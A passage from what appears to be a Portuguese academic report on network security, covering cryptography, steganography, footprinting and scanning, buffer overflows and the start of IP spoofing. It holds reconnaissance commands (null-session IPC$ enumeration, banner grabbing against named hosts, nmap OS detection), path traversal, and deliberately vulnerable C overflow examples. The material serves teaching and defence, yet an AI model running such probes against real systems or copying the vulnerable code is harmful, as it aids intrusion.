ideia do que é usado:
Secure MIME (S/MIME), que adiciona a um e-mail a assinatura digital do
emissor e cifra a mensagem com a chave pública do mesmo.
PGP (Pretty Good Privacy), que usa uma rede de segurança, ou seja o utilizador
tem de indicar em quem confia para usar a chave pública de quem diz confiar.
Esta solução utiliza dois ficheiros, um que se chama pubring.pkr que o utilizador
partilha e que contem a sua chave pública e o ficheiro secring.skr que contem a
chave privada e que o utilizador tem de manter secreta para que a sua identidade
não seja comprometida.
Secure Shell (SSH), é um protocolo que permite estabelecer ligações remotas
seguras porque negoceia e estabelece uma ligação cifrada entre os dois sistemas.
Secure Sokets Layer (SSL), foi criado pela Netscape e permite cifrar as ligações,
garantir a identidade do cliente e do servidor, é usado pelos protocolos FTP,
HTTP e Telnet para enviar os dados transmitidos por este.
IpSec, é um mecanismo da camada de transporte que permite garantir a
confidencialidade e a integridade dos dados e ainda fornece a autenticação dos
intervenientes na comunicação.
Encrypted File System (EFS), da Microsoft permite aos utilizadores do sistema
operativo Windows que utilizam o sistema de ficheiros NTFS cifrar os ficheiros,
pastas e directorias que se encontram no disco.
6.1.1 Criptografia simétrica
A criptografia simétrica é a mais usada e utiliza a mesma chave para cifrar e decifrar a
mensagem enviada. A chave tem de ser acordada entre o receptor e emissor e tem de ser
trocada por um canal seguro senão um atacante pode interceptar a sua transmissão e ser
capaz de receber decifrar as mensagens trocadas. Este tipo de criptografia pode ser
aplicada a em bloco ou stream.
Este tipo de criptografia é usado em algoritmos como o IDEA (International Data
Encryption Algorithm), DES, A5, etc.
Este tipo de criptografia pode ser explicada pelo seguinte esquema:
59
Imagem 25 – Esquema de comunicação com cifra simétrica
1. Plaintext: O emissor escolhe o documento a enviar;
2. Encription: O documento é cifrado com recurso a chave escolhida;
3. Ciphertext: O documento cifrado é transmitido para o receptor;
4. Decription: O documento cifrado é decifrado com a chave escolhida
previamente;
5. Plaintext: O documento é apresentado ao receptor, se a chave usada for a
correcta o texto é apresentado correctamente;
As vantagens da utilização deste tipo de criptografia são: não é pesada
computacionalmente e consegue ser implementada facilmente por hardware.
Como desvantagem apresenta a dificuldade de distribuir a chave e a quantidade de
chaves necessárias (é necessária uma chave para cada comunicação).
O problema de distribuição da chave é muito grave pois, se esta for transmitida por um
canal que não seja seguro o atacante pode interceptar a chave ou pode adquirir a chave
recorrendo á engenharia social, o que vai fazer com que consiga ver o texto decifrado
assim como o verdadeiro destinatário, o que torna o processo de envio da informação
cifrada inútil.
6.1.2 Criptografia assimétrica
Este tipo de criptografia utiliza duas chaves. Uma das chaves utilizadas é chamada de
chave pública que é conhecida por todos e a outra chave é a chave privada que é
60
mantida em segredo pelo dono. As duas chaves estão relacionadas matematicamente
mas não é possível descobrir a chave privada através da chave pública.
Este tipo de criptografia garante a integridade das mensagens, a sua confidencialidade e
a garantia de que o emissor é quem diz ser e não pode negar a sua identidade.
A segurança da comunicação depende da segurança com que a chave privada é
guardada, uma vez que existe a possibilidade de um atacante conseguir acesso à chave
através de algum tipo de engenharia social ou se o emissor for descuidado e deixar a
chave privada de maneira a que o atacante lhe consiga aceder.
A transmissão é cifrada para ambos os lados, se a mensagem for cifrada com a chave
pública apenas pode ser decifrada com a chave privada e se a mensagem for cifrada com
a chave privada apenas pode ser decifrada com a chave pública.
Esquema do envio de informação para o detentor da chave privada:
Imagem 26 – esquema de comunicação com cifra assimétrica
Neste caso a mensagem é cifrada com a chave pública e apenas o detentor da chave
privada pode ler a mensagem, o que garante a confidencialidade da recepção da
mensagem.
Esquema do envio de informação pelo detentor da chave privada:
61
Imagem 27 – esquema de comunicação com cifra assimétrica
A mensagem é cifrada com a chave privada o que permite a qualquer utilizador com a
chave pública ler o seu conteúdo mas faz com que seja garantida a identidade do
emissor, por esta razão este tipo de criptografia é usada nas assinaturas digitais.
Este tipo de criptografia é usado em algoritmos como o RSA, Diffie-Hellman, etc.
6.1.3 Funções de Hash ou resumo da mensagem
Existem vários algoritmos para este tipo de funções como MD5, SHA-1, Tiger, etc.
O objectivos de uma função de Hash é transformar os dados que se pretende transmitir e
que tem tamanho variável em dados com tamanho fixo para que sejam enviados e se
consiga garantir que os dados não foram alterados. Uma boa função de hash tem de ser
unidireccional e não pode permitir que duas entradas diferentes resultem num valor de
saída igual.
Exemplo de como funciona uma função de hash:
62
Imagem 28 – Esquema da aplicação de uma função de hash
A função de hash garante a integridade da mensagem, porque quando o emissor
pretende transmitir a mensagem é calculado o valor de hash da mensagem. Este é
adicionado à mensagem e quando o receptor recebe a mensagem calcula o valor de hash
e vai compará-lo com o valor que recebeu, e se forem iguais é garantido que a
mensagem não foi interceptada.
O valor que é calculado é chamado de MAC (Message Authentication Code) e no caso
de ser igual nos dois extremos da comunicação é garantida a integridade da mensagem e
a autenticidade do emissor.
6.1.4 Assinatura digital
O processo de utilizar criptografia assimétrica para autenticar um emissor é chamado de
assinatura digital.
Uma assinatura digital tem de permitir que o receptor possa confirmar a assinatura do
emissor (autenticidade do emissor), tem de garantir que não seja falsificável
(integridade) e tem de garantir que o emissor não nega a sua autenticidade (não
repudio).
A assinatura digital consiste em aplicar uma função de hash à assinatura escolhida, e em
seguida cifrar o valor de hash devolvido com um algoritmo assimétrico. O emissor tem
de cifrar as mensagens com a sua chave privada para confirmar a sua identidade
(assinatura).
O processo para utilizar uma assinatura digital tem então o seguinte esquema:
63
Imagem 29 – funcionamento da assinatura digital
1. Signinsg: o emissor cria o resumo da mensagem pela aplicação de uma função
de hash;
2. Private Key: o emissor cifra o resumo da mensagem com a sua chave privada;
3. Sending: a mensagem é enviada para o receptor juntamente com o resumo da
mensagem;
4. Decrypting o receptor cria o resumo da mensagem com a mesma função que o
emissor usou e em seguida decifra o resumo da mensagem com a chave pública
do emissor;
5. Receiving: o receptor compara o valor devolvido pela sua função com o valor
enviado na mensagem, se os valores coincidirem o receptor tem a certeza que a
mensagem não foi alterada e que veio realmente do emissor.
6.1.5 Certificados digitais
Os certificados digitais são usados para comprovar a identidade de uma pessoa, estes
são usados porque quando se usa criptografia assimétrica o receptor vai ter
conhecimento da chave pública do emissor, mas apenas pode comprovar a identidade do
emissor se este for conhecido do receptor, no caso de não conhecer nada impede um
atacante de disponibilizar uma chave pública e a identidade de outra pessoa para se
64
fazer passar por essa pessoa e neste caso apenas o atacante ia ter acesso aos dados
transmitidos, porque apenas ele tinha a chave privada para decifrar os dados.
O certificado digital funciona como um passaporte e é emitido por empresas privadas e
serve então para garantir a identidade da pessoa que usa o certificado, assim é garantido
ao receptor que a pessoa que enviou dados é realmente quem diz ser e que a chave
usada pertence a essa pessoa e não a uma terceira.
Imagem 30 – Alguma da informação do certificado Digital da página
“www.mail2web.com”.
6.2 Estenografia
Estenografia consiste na escrita secreta, ou seja consiste em esconder mensagens em
espaços em branco no texto, ficheiros de som e imagens.
Estenografia é geralmente usada em conjunto com a cifra de mensagens, quando isto
ocorre a mensagem é cifrada e em seguida inserida num documento, para que no caso
de ser descoberto o ficheiro que transporta a mensagem esta não seja legível por se
encontrar cifrada.
A mensagem que se pretende inserir no documento é inserida com recurso a ferramentas
apropriadas, como por exemplo Steganography, Snow Snow, StegonoWav, MP3Stego,
S-Tools, etc.
65
Imagem 31 – Programa Steganography que possui a funcionalidade de
estenografar dados.
É sempre necessário ter em conta o tamanho do portador e da mensagem, uma vez que
para que seja difícil detectar a presença da mensagem é necessário que a mensagem seja
muito mais pequena que o tamanho do ficheiro portador.
A estenografia é usada comercialmente e conhecida como “Digital Watermark”, ou
seja, funciona como a impressão digital do ficheiro para garantir a identidade do autor,
do dono, a integridade do ficheiro, etc.
Existem páginas que permitem esconder informação dentro de um e-mail, uma dessas
páginas é a http://www.spammimic.com que esconde informação em ficheiros de SPAM.
Um atacante que consiga invadir um sistema pode usar o Estenografia para fazer upload
e download de ficheiros para o sistema atacado. Se o atacante utilizar este método
apesar de não poder movimentar grandes quantidades de informação consegue
certamente movimentar informação necessária para efectuar outros ataques.
66
6.3 Ataques a algoritmos criptográficos
Apesar do uso da criptografia as comunicações e os dados continuam a não estar
seguros porque, pelo que se pode ver de seguida, muitas das soluções criptográficas
apresentadas contem falhas que permitem a um atacante aceder à informação.
Ataques Man-in-the-middle :
Este tipo de ataque pode ocorrer em sistemas que usam o sistema criptográfico
simétrico double DES e o sistema assimétrico Diffie-Hellman (neste sistema pode
acontecer se não forem usadas assinaturas digitais para autenticar o emissor e receptor).
Ataques de força bruta:
Um atacante pode tentar descobrir a chave de encriptação por tentativa e erro, ou seja
experimentando todas as combinações possíveis para descobrir a chave.
Já foi possível com os algoritmos DES e ECC mas foi necessário um sistema distribuído
com vários milhares de computadores para o conseguir. Assim sendo, um atacante que
tente o mesmo feito no seu sistema necessita de várias centenas ou milhares de anos
para conseguir descobrir uma chave.
Se uma atacante conseguir aceder a uma parte da mensagem decifrada e cifrada pode
tentar comparar as duas partes para tentar encontrar a chave utilizada na cifra para em
seguida ver o resto da mensagem.
Um atacante pode tentar descobrir qual o tamanho da chave usada na cifra, caso seja
usado um algoritmo assimétrico, através da análise do tempo que o sistema receptor
demora a decifrar a mensagem. Este ataque tem em conta que a operação para decifrar o
texto varia muito dependendo do tamanho da chave usada.
Ataque à identidade na criptografia assimétrica:
Quando é usada criptografia assimétrica para a troca de dados mas não são usados
certificados digitais um atacante pode enviar os dados com a sua chave pública e
assumir a identidade de outro, o que vai fazer com que quando o receptor responda
envie os dados cifrados com a chave pública do atacante o que vai fazer com que apenas
este tenha acesso aos dados decifrados.
Quando se usa PGP este tipo de ataque também é possível pois o atacante pode
conseguir aceder ao ficheiro com a chave privada da vítima e fazer-se passar por esta.
Explorar Falhas no sistema de criptografia EFS:
67
Este sistema permite que um atacante consiga aceder aos dados cifrados sem recorrer a
nenhum processo para descobrir a chave que foi usada para cifrar os dados. A falha
consiste numa backdoor para recuperar os dados no caso da perda da chave. Se uma
atacante conseguir aceder à backdoor consegue aceder directamente aos dados
decifrados. A backdoor consiste na existência do utilizador “recovery agent” que no
caso do Windows 2000 era por defeito o administrador de sistema e no Windows 2003 o
utilizador definido como “recovery agent”.
Além desta falha ainda é possível aceder a dados que tenham sido cifrados, caso os
dados sejam cifrados numa pasta que não se encontre cifrada. Nesta situação o ficheiro
não é cifrado automaticamente. Primeiro o ficheiro é movido para a directoria
temporária onde é renomeado para “efs0.tmp”, em seguida os dados deste ficheiro
temporário são cifrados e movidos para o ficheiro original. Por fim o ficheiro
temporário é eliminado pelo processo normal de eliminação de ficheiros. Depois do
ficheiro eliminado o espaço que ele ocupava passa a estar disponível no disco mas, se
este espaço não for completamente limpo ou não forem escritos dados na mesma
posição é possível a um atacante utilizar um editor como o Diskprobe e procurar pelo
ficheiro e aceder aos dados que ainda não foram sobrepostos. Esta falha apenas ocorre
quando se cifra um ficheiro que não se encontra numa pasta cifrada.
68
7 Footprinting e Scanning
Quando um hacker pretende atacar uma rede tem de saber o que é que vai encontrar
pelo caminho para não ser apanhado de surpresa. O processo pelo qual o hacker passa
para conseguir adquirir informação é chamado de Footprinting e Scanning.
Assim footprinting é o nome que se dá ao processo de recolha de informação, este
processo pode ser activo ou passivo. Este processo é considerado passivo se o hacker no
processo de adquirir informação utilizar por exemplo apenas o website e é considerado
activo quando o atacante interage com o sistema usando por exemplo engenharia social
para conseguir informação. Scanning também faz parte do processo de recolha de
informação mas abrange a detecção de máquinas na rede, a topologia da rede e a
detecção das portas abertas em cada uma das máquinas detectadas na rede.
No processo de recolha de informação o atacante tem de recolher:
A informação que se encontra disponível ao público sobre o alvo e a informação
que o atacante adquire sobre a organização é vital para poder continuar o ataque.
Ele pode adquirir informação sobre a organização que pretende atacar no
website da vítima, em documentos fornecidos pela organização, perguntando a
empregados (recorrendo a engenharia social), etc. O atacante nesta fase tenta
adquirir o máximo de informação disponível como o e-mail dos membros e os
endereços IP públicos usados pela organização, qual o equipamento de rede
usado, etc. Para adquirir este tipo de informação é muito útil recorrer a motores
de pesquisa como o google, hi5, orkut, yahoo maps ou google maps, e a
ferramentas como Sam Spade, ARIN, IANA, Whois, Nslookup, etc.
69
Imagem 32 – Printscreen do nível de detalhe apresentado numa pesquisa no
google maps. É possível obter uma imagem nítida de um edifício.
Imagem 33 – Printscren de uma ferramenta que permite efectuar consulta
para saber informação de domínios web.
70
A informação sobre a rede/sub redes do alvo. Um atacante depois de conseguir
juntar informação sobre a vítima e depois de obter pelo menos um endereço IP
de um servidor, tem a possibilidade de fazer uma pesquisa numa das bases de
dados RIR para obter a gama de endereços usada pela organização atacada. Para
descobrir qual o caminho que a informação faz na rede (interna ou até chegar a
rede da vítima) pode usar o comando traceroute (se este comando estiver a ser
usado no Windows é usado o protocolo ICMP para fazer a analise de caminho e
se estiver a ser usado em Linux é usado o protocolo UDP para fazer a analise):
Imagem 34 – listagem dos saltos ate atingir o endereço IP pretendido
Existem aplicações muito diferentes para fornecer o traceroute. Algumas delas
como o visualtrace ou o neotrace que fornecem mapas para devolver os nós por
onde a informação passa (esta informação apenas é correcta se os router’s
estiverem configurados correctamente).
71
Imagem 35 – Printscreen da aplicação neoTrace com a localização
geográfica do servidor da cnn.
Identificar os pontos de acesso a rede. Antes de tentar entrar imediatamente na
rede da empresa pela ligação à Internet o atacante pode antes tentar encontrar
pontos de acesso wireless ou sistemas que se liguem a rede da empresa através
de ligação telefónica porque, estas duas ligações estão muito mais vulneráveis e
geralmente não são tão vigiadas.
Identificar os computadores ligados à rede e as portas que estes tenham abertas.
Para identificar os computadores que se encontram ligados à rede e as portas
abertas, são usadas ferramentas para percorrer todos os endereços de rede da
organização e para percorrer todas ou apenas algumas portas nos sistemas
activos da rede para detectar quais as portas que estão abertas. Para este efeito
são usadas ferramentas baseadas no protocolo TCP e UDP, mas o protocolo
UDP não é muito útil para esta tarefa porque só devolve resultados se for
permitido tráfego ICMP. Para efectuar a pesquisa são usadas ferramentas como
o Ping, nmap, Pinger, Angry IP Scanner, etc.
72
Imagem 36 – Printscreen da janela de resultados devolvida pelo Superscan
4 quando verifica os computadores ligados á rede e as portas abertas nestes.
Identificar os sistemas operativos dos computadores ligados à rede. Nesta fase o
atacante tenta descobrir qual o sistema operativo que corre em cada um dos
sistemas detectados, entre router’s e computadores. Este tipo de operação pode
ser feito de duas maneiras, activamente ou passivamente (sniffing). Se for feita
activamente são usadas ferramentas que injectam pacotes na rede para depois
analisar o pacote que o sistema receptor enviar como resposta, visto que a
maioria dos sistemas operativos são configurados para responder de maneira
diferente quando recebem pacotes mal configurados. A identificação do sistema
operativo passivamente consiste então em deixar uma ferramenta que apenas
analisa o tráfego que passa na rede e através da análise dos pacotes detecta qual
o sistema operativo que está a ser usado. Para esta tarefa pode ser usado por
exemplo o programa P0f. No caso da identificação activa existem programas
como Xprobe2, Winfingerprint, Amap, etc. Se a identificação for feita de modo
passivo é baseada em características dos pacotes como o tamanho do TTL nos
pacotes IP, como está implementado o TOS nos pacotes IP, etc.Se a
identificação for feita de modo activo vai basear-se por exemplo na resposta do
73
sistema operativo a pacotes TCP com a flag FIN activa, a resposta a um pacote
com a flag com um valor inválido, no valor “Inicial Sequence Number (ISN)”
que é usado no pacote, etc.
Imagem 37 – Janela de configuração e apresentação de resultados da
aplicação Winfingerprint.
Identificar os serviços a correr na rede. O atacante para começar a identificar os
serviços que se encontram activos pode tentar efectuar uma ligação ás aplicações
mais conhecidas e que tem portas por omissão como Telnet, FTP, etc. porque
além de serem aplicações que este pode tentar explorar para atacar o sistema são
aplicações que devolvem muita informação sobre o este. Por outro lado a
informação que as aplicações fornecem podem enganar o atacante porque
podem ter sido fabricadas pelo responsável pela aplicação por exemplo, o
servidor de e-mail pode ser configurado para devolver como numero da versão
74
uma mais antiga para o atacante pensar que está vulnerável a determinados
ataques quando na verdade o servidor já se encontra protegido.
Fazer o mapa da rede. O mapa da rede é desenvolvido á medida que o atacante
vai adquirindo informação. Para que o atacante tenha sucesso é necessário que
este mapa final esteja o mais completo possível para que não tenha surpresas.
Se o atacante pretender obter informação sobre os computadores que tenham sistema
operativo Windows pode faze-lo recorrendo a ferramentas que vêm incluídas no
Windows como o comando “net” (“net view / domain”, para ver os domínios da rede,
“net view \\ip”, para saber quais as pastas partilhadas num computador, etc.).
Imagem 38 – Listagem das pastas partilhadas da máquina
192.168.246.30
Recorrendo a este comando é possível saber qual a topologia da rede, saber quais os
computadores que estão ligados à rede, saber quais as contas existentes num
computador e saber pormenores das contas que são obtidos estabelecendo uma sessão
nula explorando o IPC$ com o comando net (net use \\alvo\ipc$ “” /u:””) usando em
seguida as ferramentas user2sid e sid2User)).
75
Imagem 39 – Ligação remota a um computador.
Em vez disto também é possível utilizar uma aplicação com interface gráfico como a
“DumpSec”. Existem muito mais ferramentas para adquirir informação de sistemas
operativos Windows ligados a rede, entre elas Userinfo, 4GetAcct, GetUserInfo, Ldp,
nbtstat, SNMPUtil, IP Network Browser, SNScan, etc.
Se o atacante pretender obter informação sobre computadores baseados em Unix/Linux
pode utilizar ferramentas com Finger, rwho, rusers, e Simple Mail Transfer Protocol
(SMTP) e da mesma maneira que no Windows existem portas que identificam se este
sistema está a correr, também existem portas especificas que se estiverem abertas
significa que o Linux está em execução.
A fuga de informação de aplicações e protocolos permite ao atacante adquirir
informação essencial para executar um ataque. A fuga de informação pode permitir ao
atacante saber que programas e que versão estão a ser executadas, saber qual o sistema
operativo, saber a topologia da rede em que o sistema se encontra inserido, etc. Quanto
mais informação o atacante adquirir mais simples se torna para ele atacar o sistema.
Na maioria das situações em que o atacante consegue adquirir informação passivamente
esta pode ser retirada das aplicações que ele explora, ou então pode ser adulterada para
o enganar.
Fuga de informação numa aplicação
Este tipo de fuga de informação é muito comum em aplicação que usem os protocolos
FTP (File Transfer Protocol), SSH (Secure Shell), telnet, SMTP (Simple Mail Transfer
Protocol) e POP3 (Post Office Protocol 3) uma vez que por defeito quando se efectua
uma ligação é apresentada a versão da aplicação que está a correr, o que permite a um
atacante escolher um exploit para atacar a versão especifica que se encontra instalada.
76
Este problema também se encontra nos servidores web se for deixada a configuração
por defeito, porque estes apresentam a informação da versão quando ocorre uma
excepção por exemplo, quando é feito um pedido de uma página que não existe no
servidor.
Exemplo de uma mensagem de erro devolvida pelo browser:
Imagem 40 – Printscreen a mostrar a informação devolvida pelo browser
Exemplo de uma ligação ao servidor de e-mail com o comando telnet
webmail.student.estg.ipleiria.pt 25:
Imagem 41 – Printscreen de uma ligação Telnet ao servidor de e-mail.
Fuga de informação nos protocolos
Este tipo de fuga de informação ocorre quando se usa comandos do protocolo para obter
informação sobre o sistema.
Por exemplo, depois de efectuarmos uma ligação á porta 80 de um servidor web
podemos obter a informação do servidor que está a correr.
77
Por exemplo se fizer a ligação: telnet www.dei.estg.ipleiria.pt 80, e em seguida escrever
“HEAD / HTTP/1.0 ” vai ser apresentada a informação que pertence ao protocolo
HTTP, como se vê em seguida:
Imagem 42- Informação da versão do Web server
Se o atacante utilizar ferramentas como o nmap tem a possibilidade de descobrir todas
as portas que estão abertas e qual o sistema operativo do sistema que está a explorar,
isto se forem usadas as flags –sS (para usar o protocolo TCP para saber que portas estão
abertas) e –O (para saber qual o sistema operativo pela analise dos pacotes TCP).
Exemplo:
Imagem 43 – Uso do comando Nmap para descobrir a versão do sistema
operativo
Fuga de informação pelo design
78
Este tipo de fuga de informação consiste na maneira como certas aplicações trabalham
pois contem na sua implementação informação que permitem a um atacante usar para
atacar um sistema. Algumas aplicações são desenhadas para enviar os dados em formato
texto pela rede. Outras têm um método de autenticação muito fácil de passar o que
permite a um atacante usar essas aplicações a seu favor.
Um exemplo deste tipo de fuga de informação é todas as aplicações que se baseiam no
protocolo SNMP (Simple Network Management Protocol) pois, as aplicações que usam
este protocolo comunicam entre si enviando a informação em formato texto.
Fuga de informação nos servidores Web
A fuga de informação nos servidores web pode ser muito grave porque além do tipo de
fuga descrito anteriormente que consistia em apresentar a informação do sistema pode
ter outra muito mais grave que consiste em apresentar a informação que se encontra
armazenada no servidor que está a ser atacado através da manipulação das páginas
alojadas no servidor se estas páginas contiverem script’s php, javascript, CGI, etc.
Um ataque muito efectuado contra servidores web consistia em inserir “/../”, para
retroceder na estrutura de pastas e conseguir aceder á informação que se encontrava em
disco.
79
8 Buffer Overflow
Buffer overflow é a causa do sucesso da maioria dos ataques a sistemas.
A maneira como funciona e pode ser explorado foi explicada no artigo de Aleph One na
Phrack em 1996.
Buffer overflow ocorre quando se pretende colocar mais informação num sitio do que a
capacidade. Por exemplo se tivermos uma garrafa de 20cl e tentarmos colocar 21 cl
dentro dela, um cl vai transbordar da garrafa e perder-se. Num programa o que acontece
é semelhante mas em vez de se perder a informação colocada a mais, esta vai sobrepor-
se a outra, o que pode ter consequências muito graves.
A maioria das vulnerabilidades existentes tem origem em buffer overflow‘s, gerados por
aplicações que não fazem uma validação correcta do input, e podem ser exploradas
tanto local como remotamente.
Para conseguir manipular um buffer overflow é necessário saber como as funções
utilizam a pilha, saber fazer código em assembly, saber como são realizadas chamadas
ao sistema, saber como a pilha funciona ou saber usar uma ferramenta feita por alguém
que perceba.
As maiores dificuldades para manipular um buffer overflow é fazer código que não
inclua o carácter terminador “\0” e conseguir fazer com que os dados inseridos não
façam com que a aplicação bloqueie.
Geralmente o objectivo do atacante é conseguir efectuar um buffer overflow que permita
injectar código (payload) na aplicação atacada para conseguir lançar uma shell. Se o
atacante tiver sucesso vai conseguir aceder ao computador afectado com o mesmo nível
de privilégios que a aplicação que usou para lançar a shell estava a correr.
8.1 Tipos de Buffer overflow
8.1.1 Stack overflows
Este tipo de buffer overflow explora a falha de protecção na pilha de uma aplicação.
80
Para tentar encontrar uma falha numa aplicação o atacante pode analisar o código fonte
desta, se ele se encontrar disponível, tentar inserir valores de entrada diferentes ou então
procurar na Internet informação sobre falhas na aplicação.
Depois de encontrar uma falha na aplicação o atacante tenta então de alguma forma
manipular os dados presentes na pilha de forma a fazer com que a aplicação salte para a
posição do código que ele pretende que seja executado. Este código que o atacante quer
que seja executado pode ser código que já se encontra na aplicação e apenas tem de
fazer com que a aplicação salte para essa posição para o chamar. Neste caso o atacante
tem primeiro de encontrar um ponteiro para uma função no código e em seguida alterar
o valor desse ponteiro para o passar a apontar para a função ou código que pretende.
Pode ser código que o atacante inseriu na pilha e nesse caso além de fazer com que a
aplicação salte para a posição onde se encontre esse código o atacante ainda tem de
conseguir inserir esse código no buffer. Neste segundo caso o código injectado tem de
ser muito pequeno porque o espaço na pilha é muito limitado. Geralmente o código que
se pretende correr é o de uma Shell para se conseguir executar comandos na máquina
atacada com o mesmo nível de privilégios que a aplicação explorada. Se a aplicação
estiver a correr como root o atacante terá esse nível de privilégios.
Uma pilha é uma área na memória de um computador que tem uma origem estática e
um tamanho variável, que inicialmente é zero. Existem duas operações que são
aplicadas a pilha que são:
- Push que consiste em colocar mais um elemento na pilha e actualizar a posição do
ponteiro da pilha;
- Pop ou Pull, que consiste em retirar o ultimo elemento da pilha e actualizar a posição
do ponteiro da pilha;
A pilha é um mecanismo usado para passar os valores dos argumentos para as funções
que são chamadas e para guardar as variáveis locais das funções e a posição de onde a
execução veio para saber para onde tem de saltar depois de terminar a execução da
função onde se encontra. A pilha funciona basicamente como um buffer para guardar a
informação que é passada para uma função e as variáveis da função. Tipicamente as
pilhas no processador Intel x86 são invertidas, ou seja, o topo da pilha está no endereço
mais baixo de memória.
A pilha tem um funcionamento do tipo LIFO (last in first out):
81
Imagem 44 – Representação de uma estrutura LIFO
Imagem 45 – representação da pilha de um processo.
Se tivermos a função:
82
Caso a string apontada por “s” tiver 264 bytes a função strcpy não verifica o tamanho
do vector e vai colocar toda a informação em “buf” o que vai fazer com que os últimos
oito caracteres de “s” se sobreponham aos valores que estão na posição do frame
pointer e no endereço de retorno.
Em seguida apresentamos um exemplo de um buffer overflow retirado do livro
“Smashing The Stack For Fun And Profit”:
Neste exemplo podemos ver a ocorrência de um buffer overflow onde usamos a função
strcpy() para copiar o conteúdo de *str (larger_string[]) para a variável buffer[]. A
variável buffer[] é muito mais pequena que *str ( buffer[] tem 16 bytes e *str 256
bytes), o que vai fazer com que os 250 bytes seguintes sejam sobrepostos, sobrepondo
neste caso toda a informação que se encontra na pilha.
/* example2.c
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}
/* -eof- */
void f( char *s) {
char buf[256];
strcpy(buf, s);
/* ... */
}
83
8.1.2 Format String overflows
Este tipo de overflow acontece quando se usa funções como printf(), strcpy(), ou seja
funções que não fazem a verificação do input que recebem nos seus parâmetros de
entrada e esperam que estes estejam sempre correctos, sendo assim caso seja explorado
uma falha na formatação das string é possível inserir mais dados que o que é esperado.
Se não se tiver cuidado pode-se inserir uma quantidade de dados muito grande e
provocar um buffer overflow.
8.1.3 Heap/BSS/Data Overflows
A zona denominada heap é a zona na qual são colocados os dados das variáveis que são
reservadas dinamicamente numa aplicação, reservadas com recurso a função malloc.
Um heap overflow ocorre quando é reservado espaço para uma variável com um
tamanho mais pequeno do que a quantidade de dados que se tenta colocar nessa
variável. Caso a quantidade de dados seja superior á capacidade e não tenha sido
colocada protecção no código para essa possibilidade então os dados que são recebidos
a mais vão sobrepor-se aos dados que se encontram a seguir o que vai permitir ao
atacante alterar a execução normal do código para uma que sirva as suas intenções. Este
tipo de overflow é geralmente explorado quando se conhece na aplicação uma estrutura
que contem um ponteiro para uma função e se sabe que esta estrutura tem o seu espaço
de memória reservado dinamicamente. Neste caso o atacante tentará sobrepor os dados
nesta área de forma a alterar a posição para onde aponta o ponteiro da função para este
ficar a apontar para o código que ele pretende.
8.1.4 Overflow de números inteiros
Este tipo de overflows pode ocorrer quando se recebe como um parâmetro um inteiro.
Apesar de se validar se o inteiro está ou não de acordo com valores aceitáveis pode
acontecer que o valor recebido seja de tal forma elevado que pode ser considerado
válido quando não o é, o que vai provocar um acesso ilegal a memória quando o valor
recebido for usado ou vai fazer com que seja executado código que não era suposto.
Este tipo de overflow costuma ser muito comum quando se pretende aceder a vectores e
não é feita a protecção adequada dos índices (o programador pode enganar-se no
84
numero de elementos ou esquecer-se do espaço para o carácter de terminação de uma
string se for uma string).
O overflow de um número inteiro ocorre então quando é necessário um número de bits
superior ao disponível para armazenar um resultado.
Se quisermos somar dois caracteres (unsigned char (ocupam 8 bits)) podemos ter o
seguinte código:
Como a variável “result” apenas pode guardar no máximo o valor 255 (=11111111) não
vai ser capaz de guardar o resultado que é 255+2=257 assim, o resultado da operação
vai ser 255+2=1 porque o resultado é truncado e o “1” mais á esquerda é perdido o que
faz com que o valor guardado seja “1”.
Um exemplo de uma função que apresenta código do qual pode resultar um integer
overflow é o seguinte:
unsigned char a = 255;
unsigned char b = 2;
unsigned char result = a + b;
/*
A representação da soma é:
11111111 (a)
+00000010 (b)
------------
100000001 (resultado) */
85
No código apresentado se o valor da variável “server” for superior ou igual a 254 vai
ocorrer um integer overflow.
Se a string da variável “server” tiver 254 caracteres vão ser reservado 254+2 = 0 bytes
pela função malloc para a variável “UncName” o que vai fazer com que quando se tente
colocar nesta o valor da variável “server” ocorra um erro de escrita na memoria por se
tentar escrever numa zona que não é permitida. A função malloc permite reservar um
buffer de 0 bytes.
Se a string da variável “server” tiver mais de 254, por exemplo 255 caracteres, vão ser
reservado 255+2 = 1 bytes pela função malloc para a variável “UncName” o que vai
fazer com que quando se tente colocar nesta o valor da variável “server” ocorra um erro
de escrita na memoria por se tentar escrever numa zona que não é permitida porque, se
está a tentar escrever 255 bytes quando apenas foi reservado 1, o que vai fazer com que
os outros 254 sejam escritas numa zona onde não era permitido.
Como resultado do integer overflow vai ocorrer um heap overflow porque vão ser
escritos dados na zona da “heap” que não foram reservadas para o efeito. Vai ser um
heap overflow porque a variável que o vai originar é a “UncName” e o espaço que esta
ocupa foi reservado com a função malloc.
Se este tipo de erro ocorrer numa operação de subtracção é designado de Underflow.
Um exemplo de underflow é se fizermos uma subtracção entre variáveis do tipo
unsigned char (8 bits) e fizermos a operação 0-1=255.
bool DoSomething(const char* server)
{
unsigned char namelen = strlen(server) + 2;
if(namelen < 255)
{
char* UncName = malloc(namelen);
if(UncName != 0)
sprintf(UncName, "\\\\%s", server);
}
}
86
9 Spoofing
Dependendo da acção do atacante. Este pode ter de falsificar a sua identidade de forma
diferente para conseguir o acesso a recursos ou informação que não eram destinados a si
ou para convencer a um terceiro sistema que está a comunicar com outro sistema
legítimo e não com o atacante.
Spoofing consiste no atacante conseguir autenticar o seu computador falsificando os
pacotes de forma a parecerem ter origem de um dispositivo que tem uma relação de
confiança com o dispositivo com o qual o atacante estabelece uma ligação.
Em seguida são descritas as formas de spoofing mais usadas.
9.1 IP spoofing
IP Spoofing consiste em enviar pacotes IP com o endereço IP do emissor pertencente a
outro dispositivo. O endereço IP utilizado pelo emissor pode ser um valor inválido ou
de um sistema que se encontra activo na rede e que pretenda que o computador assuma
assa identidade na rede.
Quando é efectuada uma comunicação o reencaminhamento de pacotes baseia-se apenas
no endereço de destino e por esse motivo não é feita a validação do endereço de origem.
Devido a esta falha de verificação é possível a um atacante assumir a identidade de
outro sistema se a autenticação for baseada apenas no endereço IP.
Para o atacante o único inconveniente neste ataque é que não tem a possibilidade de
receber resposta a saber se teve ou não sucesso no ataque porque o sistema que ele está
a tentar enganar envia a resposta para o verdadeiro sistema.
Existem alguns tipos de ataques que utilizam esta técnica, como é o caso do ataque de
SYN Flooding e Smurf.
Exemplo:
87
Imagem 46 – esquema a representar o funcionamento do IP Spoofing
O atacante não é informado porque, numa ligação normal TCP é necessário os seguintes
passos (nos passos seguintes o dispositivo “A” é por quem o atacante se está a fazer
passar, o dispositivo “B” é o sistema que o atacante está a tentar enganar e o atacante é
representado pelo seu computador):
1. O dispositivo “A” envia um pacote SYN para o dispositivo “B”;
